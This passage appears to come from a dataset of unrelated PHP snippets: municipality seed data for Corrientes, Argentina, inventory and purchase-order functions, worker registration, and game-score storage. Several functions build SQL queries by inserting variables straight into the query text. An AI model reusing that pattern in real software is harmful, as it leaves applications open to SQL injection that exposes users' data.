'images/municipios/escudo-beron-de-estrada.png','microrregion_id' => '6','indec_id' => '0014','indec_nombre' => 'Berón de Astrada','departamento_id' => '014'),\n array('id' => '6','nombre' => 'Bonpland','url' => 'https://www.corrientes.gov.ar/home/bonpland/municipio','logo' => 'images/municipios/bonpland.png','microrregion_id' => '3','indec_id' => '0280','indec_nombre' => 'Bonpland','departamento_id' => '119'),\n array('id' => '7','nombre' => 'Caá Catí','url' => '','logo' => 'images/municipios/caa_cati.png','microrregion_id' => '6','indec_id' => '0112','indec_nombre' => 'Nuestra Señora del Rosario de Caá Catí ','departamento_id' => '063'),\n array('id' => '8','nombre' => 'Colonia Carlos Pellegrini','url' => 'http://www.corrientes.gov.ar/home/colonia-carlos-pellegrini/municipio','logo' => 'images/municipios/cnia-carlos pellegrini.png','microrregion_id' => '2','indec_id' => '0357','indec_nombre' => 'Colonia Carlos Pellegrini','departamento_id' => '147'),\n array('id' => '9','nombre' => 'Colonia Carolina','url' => '','logo' => 'images/municipios/carolina.png','microrregion_id' => '4','indec_id' => '0137','indec_nombre' => 'Colonia Carolina','departamento_id' => '070'),\n array('id' => '10','nombre' => 'Chavarría','url' => 'http://www.corrientes.gov.ar/home/chavarria/municipio','logo' => 'images/municipios/chavarria.jpg','microrregion_id' => '4','indec_id' => '0413','indec_nombre' => 'Chavarría','departamento_id' => '161'),\n array('id' => '11','nombre' => 'Colonia Libertad','url' => 'http://www.corrientes.gov.ar/home/colonia-libertad/municipio','logo' => 'images/municipios/colonia-libertad.jpg','microrregion_id' => '3','indec_id' => '0252','indec_nombre' => 'Colonia Libertad','departamento_id' => '112'),\n array('id' => '12','nombre' => 'Colonia Liebig','url' => 'https://www.corrientes.gov.ar/home/colonia-liebig/municipio','logo' => 'images/municipios/colonia_liebig.png','microrregion_id' => '2','indec_id' => '0161','indec_nombre' => 'Colonia Liebigs','departamento_id' => '084'),\n array('id' => '13','nombre' => 'Colonia Pando','url' => 'http://www.corrientes.gov.ar/home/colonia-pando/municipio','logo' => 'images/municipios/pando.jpg','microrregion_id' => '4','indec_id' => '0417','indec_nombre' => 'Colonia Pando','departamento_id' => '161'),\n array('id' => '14','nombre' => 'Concepción','url' => '','logo' => 'images/municipios/escudo-concepcion.png','microrregion_id' => '5','indec_id' => '0042','indec_nombre' => 'Concepción','departamento_id' => '028'),\n array('id' => '15','nombre' => 'Corrientes','url' => 'http://ciudaddecorrientes.gov.ar/','logo' => 'images/municipios/capital.png','microrregion_id' => '1','indec_id' => '0021','indec_nombre' => 'Corrientes','departamento_id' => '021'),\n array('id' => '16','nombre' => 'Cruz de los Milagros','url' => '','logo' => 'images/municipios/cruz_de_los_milagros.png','microrregion_id' => '4','indec_id' => '0189','indec_nombre' => 'Cruz de los Milagros','departamento_id' => '091'),\n array('id' => '17','nombre' => 'Curuzú Cuatiá','url' => '','logo' => 'images/municipios/curuzu_cuatia.png','microrregion_id' => '3','indec_id' => '0056','indec_nombre' => 'Curuzú Cuatiá','departamento_id' => '035'),\n array('id' => '18','nombre' => 'Empedrado','url' => '','logo' => 'images/municipios/empedrado.png','microrregion_id' => '5','indec_id' => '0077','indec_nombre' => 'Empedrado','departamento_id' => '042'),\n array('id' => '19','nombre' => 'Esquina','url' => 'http://www.esquinacorrientes.gob.ar/','logo' => 'images/municipios/esquina.jpg','microrregion_id' => '4','indec_id' => '0084','indec_nombre' => 'Esquina','departamento_id' => '049'),\n array('id' => '20','nombre' => 'Estación Torrent','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '2','indec_id' => '0105','indec_nombre' => 'Estación Torrent','departamento_id' => '056'),\n array('id' => '21','nombre' => 'Felipe Yofre','url' => 'https://www.corrientes.gov.ar/home/felipe-yofre/municipio','logo' => 'images/municipios/felipe-yofre.jpg','microrregion_id' => '3','indec_id' => '0231','indec_nombre' => 'Felipe Yofré','departamento_id' => '105'),\n array('id' => '22','nombre' => 'Garabí','url' => 'https://es.wikipedia.org/wiki/Garab%C3%AD_(Corrientes)','logo' => 'images/municipios/garabi.jpg','microrregion_id' => '2','indec_id' => '0441','indec_nombre' => 'José Rafael Gómez (Garabí)','departamento_id' => '168'),\n array('id' => '23','nombre' => 'Garruchos','url' => 'https://www.corrientes.gov.ar/home/garruchos/municipio','logo' => 'images/municipios/garrucho.bmp','microrregion_id' => '2','indec_id' => '0427','indec_nombre' => 'Garruchos','departamento_id' => '168'),\n array('id' => '24','nombre' => 'Gobernador Martinez','url' => '','logo' => 'images/municipios/gobernador_martinez.png','microrregion_id' => '4','indec_id' => '0196','indec_nombre' => 'Gobernador Juan E. Martínez','departamento_id' => '091'),\n array('id' => '25','nombre' => 'Gobernador V. Virasoro','url' => 'http://www.virasoro.gob.ar/','logo' => 'images/municipios/virasoro.jpg','microrregion_id' => '2','indec_id' => '0434','indec_nombre' => 'Gobernador Igr. Valentín Virasoro ','departamento_id' => '168'),\n array('id' => '26','nombre' => 'Goya','url' => '','logo' => 'images/municipios/goya.png','microrregion_id' => '4','indec_id' => '0140','indec_nombre' => 'Goya','departamento_id' => '070'),\n array('id' => '27','nombre' => 'Guaviraví','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '2','indec_id' => '0364','indec_nombre' => 'Guaviraví','departamento_id' => '147'),\n array('id' => '28','nombre' => 'Herliztka','url' => '','logo' => 'images/municipios/escudo-herliztka.png','microrregion_id' => '6','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '29','nombre' => 'Ita Ibaté','url' => 'http://www.corrientes.gov.ar/home/ita-ibate/municipio','logo' => 'images/municipios/itaibate.jpg','microrregion_id' => '6','indec_id' => '0119','indec_nombre' => 'Itá Ibaté','departamento_id' => '063'),\n array('id' => '30','nombre' => 'Itatí','url' => '','logo' => 'images/municipios/escudo-itati.png','microrregion_id' => '6','indec_id' => '0147','indec_nombre' => 'Itatí','departamento_id' => '077'),\n array('id' => '31','nombre' => 'Ituzaingó','url' => '','logo' => 'images/municipios/ituzaingo.jpg','microrregion_id' => '2','indec_id' => '0168','indec_nombre' => 'Ituzaingó','departamento_id' => '084'),\n array('id' => '32','nombre' => 'José Rafael Gomez','url' => '','logo' => 'images/municipios/escudo-jose-r-gomez.png','microrregion_id' => '2','indec_id' => '0441','indec_nombre' => 'José Rafael Gómez (Garabí)','departamento_id' => '168'),\n array('id' => '33','nombre' => 'Juan Pujol','url' => '','logo' => 'images/municipios/escudo-juan-pujol.png','microrregion_id' => '3','indec_id' => '0259','indec_nombre' => 'Juan Pujol','departamento_id' => '112'),\n array('id' => '34','nombre' => 'La Cruz','url' => 'http://www.lacruz.gov.ar/','logo' => 'images/municipios/la-cruz.png','microrregion_id' => '2','indec_id' => '0371','indec_nombre' => 'La Cruz','departamento_id' => '147'),\n array('id' => '35','nombre' => 'San Isidro','url' => '','logo' => 'images/municipios/escudo-san-isidro.png','microrregion_id' => '4','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '36','nombre' => 'Lomas de Vallejos','url' => 'http://www.corrientes.gov.ar/home/lomas-de-vallejos/municipio','logo' => 'images/municipios/loma-de-vallejos.jpg','microrregion_id' => '6','indec_id' => '0126','indec_nombre' => 'Lomas de Vallejos','departamento_id' => '063'),\n array('id' => '37','nombre' => 'Loreto','url' => 'https://www.corrientes.gov.ar/home/loreto/municipio','logo' => 'images/municipios/loreto.jpg','microrregion_id' => '5','indec_id' => '0385','indec_nombre' => 'Loreto','departamento_id' => '154'),\n array('id' => '38','nombre' => 'Mariano I. Loza','url' => 'http://www.corrientes.gov.ar/home/mariano-i-loza/municipio','logo' => 'images/municipios/mariano-loza.jpg','microrregion_id' => '3','indec_id' => '0238','indec_nombre' => 'Mariano I. Loza (Est. Justino Solari)','departamento_id' => '105'),\n array('id' => '39','nombre' => 'Mburucuyá','url' => 'http://www.corrientes.gov.ar/home/mburucuya/municipio','logo' => 'images/municipios/mburucuya.jpg','microrregion_id' => '5','indec_id' => '0224','indec_nombre' => 'Mburucuyá','departamento_id' => '098'),\n array('id' => '40','nombre' => 'Mercedes','url' => '','logo' => 'images/municipios/mercedes.png','microrregion_id' => '3','indec_id' => '0245','indec_nombre' => 'Mercedes','departamento_id' => '105'),\n array('id' => '41','nombre' => 'Mocoretá','url' => 'http://www.corrientes.gov.ar/home/mocoreta/municipio','logo' => 'images/municipios/mocoreta.JPG','microrregion_id' => '3','indec_id' => '0266','indec_nombre' => 'Mocoretá','departamento_id' => '112'),\n array('id' => '42','nombre' => 'Monte Caseros','url' => 'http://www.corrientes.gov.ar/home/monte-caseros/municipio','logo' => 'images/municipios/monte-caseros.gif','microrregion_id' => '3','indec_id' => '0273','indec_nombre' => 'Monte Caseros','departamento_id' => '112'),\n array('id' => '43','nombre' => 'Pago de los Deseos','url' => '','logo' => 'images/municipios/escudo-pago-de-los-deseos.png','microrregion_id' => '5','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '44','nombre' => 'Palmar Grande','url' => '','logo' => 'images/municipios/escudo-palmar-grande.png','microrregion_id' => '6','indec_id' => '0133','indec_nombre' => 'Palmar Grande','departamento_id' => '063'),\n array('id' => '45','nombre' => 'Parada Pucheta','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '3','indec_id' => '0287','indec_nombre' => 'Parada Pucheta','departamento_id' => '119'),\n array('id' => '46','nombre' => 'Paso de la Patria','url' => '','logo' => 'images/municipios/escudo-paso-de-la-patria.png','microrregion_id' => '6','indec_id' => '0322','indec_nombre' => 'Paso de la Patria','departamento_id' => '133'),\n array('id' => '47','nombre' => 'Paso de los Libres','url' => 'http://pasodeloslibres.gob.ar/','logo' => 'images/municipios/paso-de-los-libres.jpg','microrregion_id' => '3','indec_id' => '0294','indec_nombre' => 'Paso de los Libres','departamento_id' => '119'),\n array('id' => '48','nombre' => 'Pedro R. Fernandez','url' => '','logo' => 'images/municipios/escudo-pedro-r-Fernandez.png','microrregion_id' => '4','indec_id' => '0406','indec_nombre' => 'Pedro R. Fernández (Est. Manuel F. Mantilla)','departamento_id' => '161'),\n array('id' => '49','nombre' => 'Perugorria','url' => 'http://www.corrientes.gov.ar/home/perugorria/municipio','logo' => 'images/municipios/perugorria.gif','microrregion_id' => '3','indec_id' => '0070','indec_nombre' => 'Perugorría','departamento_id' => '035'),\n array('id' => '50','nombre' => 'Pueblo Libertador','url' => '','logo' => 'images/municipios/escudo-libertador.png','microrregion_id' => '4','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '51','nombre' => 'Lavalle','url' => 'http://www.corrientes.gov.ar/home/lavalle/municipio','logo' => 'images/municipios/lavalle.jpg','microrregion_id' => '4','indec_id' => '0203','indec_nombre' => 'Lavalle','departamento_id' => '091'),\n array('id' => '52','nombre' => 'Ramada Paso','url' => '','logo' => 'images/municipios/escudo-ramada-paso.png','microrregion_id' => '6','indec_id' => '0154','indec_nombre' => 'Ramada Paso','departamento_id' => '077'),\n array('id' => '53','nombre' => 'Riachuelo','url' => 'http://www.municipioriachuelo.gov.ar/','logo' => 'images/municipios/riachuelo.jpg','microrregion_id' => '1','indec_id' => '0028','indec_nombre' => 'Riachuelo','departamento_id' => '021'),\n array('id' => '54','nombre' => 'Saladas','url' => '','logo' => 'images/municipios/escudo-saladas.png','microrregion_id' => '5','indec_id' => '0308','indec_nombre' => 'Saladas','departamento_id' => '126'),\n array('id' => '55','nombre' => 'San Antonio de Apipe','url' => 'http://www.corrientes.gov.ar/home/san-antonio/municipio','logo' => 'images/municipios/san-antonio-de-apipe.png','microrregion_id' => '2','indec_id' => '0175','indec_nombre' => 'San Antonio','departamento_id' => '084'),\n array('id' => '56','nombre' => 'San Carlos','url' => '','logo' => 'images/municipios/escudo-san-carlos.png','microrregion_id' => '2','indec_id' => '0182','indec_nombre' => 'San Carlos','departamento_id' => '084'),\n array('id' => '58','nombre' => 'San Cosme','url' => 'https://www.corrientes.gov.ar/home/san-cosme/municipio','logo' => 'images/municipios/sancosme-escudo.gif','microrregion_id' => '6','indec_id' => '0329','indec_nombre' => 'San Cosme','departamento_id' => '133'),\n array('id' => '59','nombre' => 'San Lorenzo','url' => 'http://www.corrientes.gov.ar/home/san-lorenzo/municipio','logo' => 'images/municipios/sanlorenzo.png','microrregion_id' => '5','indec_id' => '0315','indec_nombre' => 'San Lorenzo','departamento_id' => '126'),\n array('id' => '60','nombre' => 'San Luis del Palmar','url' => '','logo' => 'images/municipios/sanluisdelpalmar.png','microrregion_id' => '6','indec_id' => '0350','indec_nombre' => 'San Luis del Palmar','departamento_id' => '140'),\n array('id' => '61','nombre' => 'San Miguel','url' => 'https://www.corrientes.gov.ar/home/san-miguel/municipio','logo' => 'images/municipios/San-Miguel.jpg','microrregion_id' => '5','indec_id' => '0392','indec_nombre' => 'San Miguel','departamento_id' => '154'),\n array('id' => '62','nombre' => 'San Roque','url' => 'http://www.sanroquemunicipio.gob.ar/','logo' => 'images/municipios/san-roque.jpg','microrregion_id' => '4','indec_id' => '0420','indec_nombre' => 'San Roque','departamento_id' => '161'),\n array('id' => '63','nombre' => 'Santa Ana de los Guacaras','url' => 'http://www.santaanadelosguacaras.com/','logo' => 'images/municipios/santa-ana-escudo.png','microrregion_id' => '6','indec_id' => '0336','indec_nombre' => 'Santa Ana','departamento_id' => '133'),\n array('id' => '64','nombre' => 'Santa Lucía','url' => '','logo' => 'images/municipios/santa_lucia.png','microrregion_id' => '4','indec_id' => '0210','indec_nombre' => 'Santa Lucía','departamento_id' => '091'),\n array('id' => '65','nombre' => 'Colonia Santa Rosa','url' => 'http://www.corrientes.gov.ar/home/colonia-santa-rosa/municipio','logo' => 'images/municipios/santa-rosa.jpg','microrregion_id' => '5','indec_id' => '0035','indec_nombre' => 'Santa Rosa','departamento_id' => '028'),\n array('id' => '66','nombre' => 'Santo Tome','url' => 'http://municipalidadstome.com.ar/','logo' => 'images/municipios/santo_tome.jpg','microrregion_id' => '2','indec_id' => '0448','indec_nombre' => 'Santo Tomé','departamento_id' => '168'),\n array('id' => '67','nombre' => 'Sauce','url' => 'http://www.corrientes.gov.ar/home/sauce/municipio','logo' => 'images/municipios/sauce.jpg','microrregion_id' => '3','indec_id' => '0455','indec_nombre' => 'Sauce','departamento_id' => '175'),\n array('id' => '68','nombre' => 'Tabay','url' => '','logo' => 'images/municipios/escudo-tabay.png','microrregion_id' => '5','indec_id' => '0049','indec_nombre' => 'Tabay','departamento_id' => '028'),\n array('id' => '69','nombre' => 'Tapebicuá','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '3','indec_id' => '0301','indec_nombre' => 'Tapebicuá','departamento_id' => '119'),\n array('id' => '70','nombre' => 'Tatacua','url' => 'https://www.corrientes.gov.ar/home/tatacua/municipio','logo' => 'images/municipios/tatacua.jpg','microrregion_id' => '5','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '71','nombre' => 'Villa Olivari','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '2','indec_id' => '0186','indec_nombre' => 'Villa Olivari','departamento_id' => '084'),\n array('id' => '72','nombre' => 'Yapeyú','url' => 'https://www.corrientes.gov.ar/home/yapeyu/municipio','logo' => 'images/municipios/yapeyu.jpg','microrregion_id' => '2','indec_id' => '0378','indec_nombre' => 'Yapeyú','departamento_id' => '147'),\n array('id' => '73','nombre' => 'Yatayti Calle','url' => 'http://www.corrientes.gov.ar/home/yatayti-calle/municipio','logo' => 'images/municipios/yatayti_calle.jpg','microrregion_id' => '4','indec_id' => '0217','indec_nombre' => 'Yatayti Calle','departamento_id' => NULL),\n array('id' => '75','nombre' => 'El Sombrero','url' => 'http://elsombrero.corrientes.gob.ar/','logo' => 'images/municipios/sombrero.jpg','microrregion_id' => '5','indec_id' => '0','indec_nombre' => 'El Sombrero','departamento_id' => '042')\n);\n\n\n foreach ($municipios as $key => $value)\n {\n $m = new Municipio();\n $m->construct($value);\n }\n\n\n\n\n }", "function prepare_remito($id_remito,&$filas)\r\n{\r\n while ($filas['cantidad']--)\r\n {\r\n\t$filas[$filas['cantidad']]['id_remito']=$id_remito;\r\n \t$filas[$filas['cantidad']]['descripcion']=\"'\".$filas[$filas['cantidad']]['descripcion'].\"'\";\r\n \tunset($filas[$filas['cantidad']]['subtotal']);\r\n }\r\n unset($filas['cantidad']);\r\n}", "function generarOrden($arreglo){\n $nomEstadoItemOK = $this->datos->traerIdEstadoItemOK();\n $idEstadoEnUso = $this->datos->traerIdEstadoUso();\n $idEstadoOfertado = $this->datos->traerIdEstadoOferProd();\n $idEstadoOfertaEco = $this->datos->traerIdEstadoOferOK();\n \n //ACTUALIZO ESTADO ITEM OFERTA OK\n $this->datos->actualizaEstadoItemOK($arreglo[\"idOfe\"],$nomEstadoItemOK->nomEstado);\n \n //ACTUALIZO ESTADO OFERTA\n $this->datos->actualizaEstadoOfertaCom($arreglo[\"idOfe\"],$idEstadoOfertaEco->idEstadoOfOk);\n $ofertaEconomica = $this->datos->datosOfertaEconomica($arreglo[\"idOfe\"]);\n \n $idDetProductoOfertado = $this->datos->traerIdDetProUso($arreglo[\"idOfe\"],$idEstadoOfertado->idEstadoOferProd);\n \n \n /* \n $idDetProductoEnUso = $this->datos->traerIdDetProUso($arreglo[\"idOfe\"],$idEstadoOfertado->idEstadoOferProd);\n \n \n //ACTUALIZO ESTADO PRODUCTO\n foreach ($idDetProductoEnUso as $key => $valueProdOrden) {\n \n $this->datos->actualizaCantidadDetProd($valueProdOrden[\"idDetalle\"],$idEstadoEnUso->idEnUso);\n }\n \n $idDetProducto = $this->datos->traerIdDetProUso($arreglo[\"idOfe\"],$idEstadoEnUso->idEnUso);*/\n \n //INSERTO ENCABEZADO \n $idOrdenCompra = $this->datos->insertarOrdenCompra($ofertaEconomica,$arreglo[\"idOfe\"]);\n \n //INSERTO DETALLE\n foreach ($idDetProductoOfertado as $key => $valueDetOfe) {\n \n $this->datos->insertarOrdenDes($valueDetOfe[\"idDetalle\"],$idOrdenCompra);\n \n }\n \n $this->mostrarOfertaEconomica($arreglo);\n \n }", "function autorizar_producto_san_luis($id_mov){\r\n\r\nglobal $db;\t\r\n \r\n $db->starttrans();\r\n $fecha_hoy=date(\"Y-m-d H:i:s\",mktime());\r\n \r\n //traigo el deposito origen\r\n $sql = \"select deposito_origen,deposito_destino\r\n from movimiento_material where id_movimiento_material = $id_mov\"; \r\n $res = sql($sql) or fin_pagina();\r\n $id_deposito_origen = $res->fields[\"deposito_origen\"];\r\n $id_deposito_destino = $res->fields[\"deposito_destino\"];\r\n \t \r\n //traigo el detalle de los movimientos a liberar \t \r\n $sql=\"select * from detalle_movimiento where id_movimiento_material=$id_mov\";\r\n $res = sql($sql) or fin_pagina();\r\n\r\n $comentario = \" Autorizacion de PM Producto San Luis nro: $id_mov\";\r\n $id_tipo_movimiento = 7;\r\n\r\n //por cada detalle voy liberando las reservas del pm autorizado \r\n for($i=0;$i<$res->recordcount();$i++) {\r\n \t $id_prod_esp = $res->fields[\"id_prod_esp\"];\r\n $cantidad = $res->fields[\"cantidad\"];\r\n $id_detalle_movimiento = $res->fields[\"id_detalle_movimiento\"]; \r\n ///////////////////////////////////////\r\n $sql = \"select id_recibidos_mov,cantidad\r\n from recibidos_mov where id_detalle_movimiento=$id_detalle_movimiento \r\n and ent_rec=0\";\r\n $detalle_rec = sql($sql) or fin_pagina();\r\n $id_recibido_mov = $detalle_rec->fields[\"id_recibidos_mov\"];\r\n if($id_recibido_mov==\"\") {\r\n\t \t //insert\r\n\t\t $sql = \"select nextval('recibidos_mov_id_recibidos_mov_seq') as id_recibido_mov\";\r\n\t\t $res_1 = sql($sql) or fin_pagina();\r\n\t\t $id_recibido_mov = $res_1->fields[\"id_recibido_mov\"];\r\n\t\t $sql=\"insert into recibidos_mov(id_recibidos_mov,id_detalle_movimiento,cantidad,ent_rec)\r\n\t\t values($id_recibido_mov,$id_detalle_movimiento,$cantidad,0)\";\r\n }else {\r\n\t //update\r\n\t $sql=\"update recibidos_mov set cantidad=cantidad+$cantidad\r\n\t where id_recibidos_mov=$id_recibido_mov\";\r\n }//del else\r\n sql($sql) or fin_pagina();\r\n $sql =\"insert into log_recibidos_mov(id_recibidos_mov,usuario,fecha,cantidad_recibida,tipo)\r\n values($id_recibido_mov,'\".$_ses_user[\"name\"].\"','$fecha_hoy',$cantidad,'entrega')\";\r\n sql($sql) or fin_pagina();\r\n /////////////////////////////////////// \r\n descontar_reserva($id_prod_esp,$cantidad,$id_deposito_origen,$comentario,$id_tipo_movimiento,\"\",$id_detalle_movimiento,\"\");\r\n $res->movenext(); \r\n }//del for\r\n \t \r\n //Inserto la Mercaderia entrante en el stock BS AS \r\n $sql = \"select * from mercaderia_entrante where id_movimiento_material = $id_mov\";\r\n $res = sql($sql) or fin_pagina();\r\n $comentario = \"Producto San Luis perteneciente al PM nro: $id_mov\";\r\n for($i=0;$i<$res->recordcount();$i++){\r\n\t $id_prod_esp = $res->fields[\"id_prod_esp\"];\r\n\t $cantidad = $res->fields[\"cantidad\"];\r\n\t $descripcion = $res->fields[\"descripcion\"]; \r\n\t //el id_tipo_movimiento le hardcodeo uno de la tabla stock.tipo_movimiento\r\n\t $id_tipo_movimiento='13';\r\n\t //el ingreso del producto es a \"disponible\" por lo tanto la funcion no toma en cuenta los parametros que siguen\r\n\t $a_stock='disponible';\r\n\t agregar_stock($id_prod_esp,$cantidad,$id_deposito_destino,$comentario,$id_tipo_movimiento,$a_stock,$id_tipo_reserva,\"\",$id_detalle_movimiento,$id_licitacion,$nro_caso);\r\n\t $res->movenext();\r\n }//del for\r\n $db->completetrans();\r\n\r\n }", "function crear_trabajador($mysqli, $id_usuario, $calle_trabajador, $numero_trabajador, $colonia_trabajador, $correo_trabajador, $telefono_trabajador, $tipo_telefono_trabajador, $lada_trabajador, $ciudad, $estado, $municipio)\n {\n $estatus = 1;//Por defecto los trabajadores estan activos\n\n //Encrypta los datos privados\n $correo_trabajador = encrypt_string($correo_trabajador);\n $calle_trabajador = encrypt_string($calle_trabajador);\n $numero_trabajador = encrypt_string($numero_trabajador);\n $colonia_trabajador = encrypt_string($colonia_trabajador);\n $telefono_trabajador = encrypt_string($telefono_trabajador);\n\n //******Alta del trabajador******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador`(`id_trabajador`, `id_usuario`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 2 integer correspoendietes a los signos de ? en el query\n $stmt->bind_param(\"ii\", $id_usuario, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Toma el ID del insert recien hecho\n $nuevo_id_trabajador = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n //******Relacion del trabajador con correo_electronico******\n $stmt = $mysqli->prepare(\"INSERT INTO `correo_electronico`(`id_correo_electronico`, `correo_electronico`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 1 string y 1 integer correspoendietes a los signos de ? en el query\n $stmt->bind_param(\"si\", $correo_trabajador, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n\t//Toma el ID del insert recien hecho\n $nuevo_id_correo_electronico = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n //******Relacion del correo_electronico con trabajador_correo******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador_correo`(`id_trabajador_correo`, `id_trabajador`, `id_correo_electronico`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 integer correspoendietes a los signos de ? en el query\n $stmt->bind_param(\"iii\", $nuevo_id_trabajador, $nuevo_id_correo_electronico, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Cierra el query\n $stmt->close();\n\n\n\n //******Relacion del trabajador con su domicilio******\n $stmt = $mysqli->prepare(\"INSERT INTO `domicilio`(`id_domicilio`, `calle`, `numero`, `colonia`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 String y 1 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"sssi\", $calle_trabajador, $numero_trabajador, $colonia_trabajador, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n\t//Toma el ID del insert recien hecho\n $nuevo_id_domicilio = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n\t //******Relacion de domicilio con trabajador_domicilio******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador_domicilio`(`id_trabajador_domicilio`, `id_trabajador`, `id_domicilio`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"iii\", $nuevo_id_trabajador, $nuevo_id_domicilio, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Cierra el query\n $stmt->close();\n\n\n\n\t //******Relacion del trabajador con su telefono******\n $stmt = $mysqli->prepare(\"INSERT INTO `telefono`(`id_telefono`, `telefono`, `tipo_telefono`, `lada`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 1 String y 3 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"siii\", $telefono_trabajador, $tipo_telefono_trabajador, $lada_trabajador, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n\t//Toma el ID del insert recien hecho\n $nuevo_id_telefono = $mysqli->insert_id;\n\n //Cierra el query\n $stmt->close();\n\n\n\n\t //******Relacion del telefono con su trabajador_telefono******\n $stmt = $mysqli->prepare(\"INSERT INTO `trabajador_telefono`(`id_trabajador_telefono`, `id_trabajador`, `id_telefono`, `estatus`, `fecha_creacion`, `ultima_modificacion`)\n \t\t\t\t\t\t\t\t\t\t\t\t\tVALUES\n \t\t\t\t\t\t\t\t\t\t\t\t\t(NULL,?,?,?,now(),now())\");\n\n //Indica a la base de datos que recibira 3 integer correspondientes a los signos de ? en el query\n $stmt->bind_param(\"iii\", $nuevo_id_trabajador, $nuevo_id_telefono, $estatus);\n\n //Ejecuta el query\n $stmt->execute();\n\n //Cierra el query\n $stmt->close();\n\n\t\n\t//relacion de usuario con estado\n\t$stmt = $mysqli->prepare(\"INSERT INTO `usuario_estado`(`id_usuario_estado`, `id_usuario`, `id_estado`, `estatus`, `fecha_creacion`, `ultima_modificacion`) VALUES (NULL, ?, ?, ?, now(), now())\");\n\t$estado = 4;\n\t$stmt->bind_param(\"iii\", $id_usuario, $estado, $estatus);\n\t\n\t$stmt->execute();\n\n\t//Cierra el query\n\t$stmt->close();\n\t\n\t\n\t//relacion de usuario con municipio\n\t$stmt = $mysqli->prepare(\"INSERT INTO `usuario_municipio`(`id_usuario_municipio`, `id_usuario`, `id_municipio`, `ciudad`, `estatus`, `fecha_creacion`, `ultima_modificacion`) VALUES (NULL, ?, ?, ?, ?, now(), now())\");\n\t\n\t$stmt->bind_param(\"iisi\", $id_usuario, $municipio, $ciudad, $estatus);\n\t\n\t$stmt->execute();\n\n\t//Cierra el query\n\t$stmt->close();\n\t\n\t\n\n return $nuevo_id_trabajador;\n }", "static public function almacenar_nueva_categoria_ganada($id_nueva_categ_ganada, $id_usuario, $id_ronda)\n {\n //Se valida que no exista ganada ya, esta categoria para la partida actual del usuario\n $id_partida = static::get_id_partida(self::$conexion->safeText(utf8_encode($id_ronda)));\n\n $queryExiste = \"SELECT tro_cat.id_categoria AS 'id_categoria' FROM trofeo_categoria_ganada AS tro_cat, partida_ronda_usupreg AS par_ron WHERE tro_cat.id_partida_ronda_usupreg = par_ron.id_partida_ronda_usupreg AND par_ron.id_partida = \".self::$conexion->safeText($id_partida).\" AND tro_cat.id_usuario = \".self::$conexion->safeText(utf8_encode($id_usuario)).\" AND tro_cat.id_categoria = \".self::$conexion->safeText(utf8_encode($id_nueva_categ_ganada));\n $resultExiste = self::$conexion->query_db($queryExiste);\n\n if(!empty(isset($resultExiste[0]))){\n return false;\n }\n else{\n $query = \"INSERT INTO trofeo_categoria_ganada(id_categoria, id_usuario, id_partida_ronda_usupreg) VALUES (\".self::$conexion->safeText(utf8_encode($id_nueva_categ_ganada)).\", \".self::$conexion->safeText(utf8_encode($id_usuario)).\", \".self::$conexion->safeText(utf8_encode($id_ronda)).\")\";\n return self::$conexion->exec_query_db($query);\n\n }\n \n }", "protected function cargaIdUbicacion() {\n $dao = new PGDAO();\n $strSql = $this->COLECCIONMAPEOUBICA . $this->propiedad->getId_ubica();\n $arrayDatos = $this->leeDBArray($dao->execSql($strSql));\n $id = $arrayDatos[0]['zpubica'];\n return $id;\n }", "static public function ctrCrearTransportadora(){\n\n\t\tif(isset($_POST[\"nuevaTransportadora\"])){\n\n\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ\\. ]+$/', 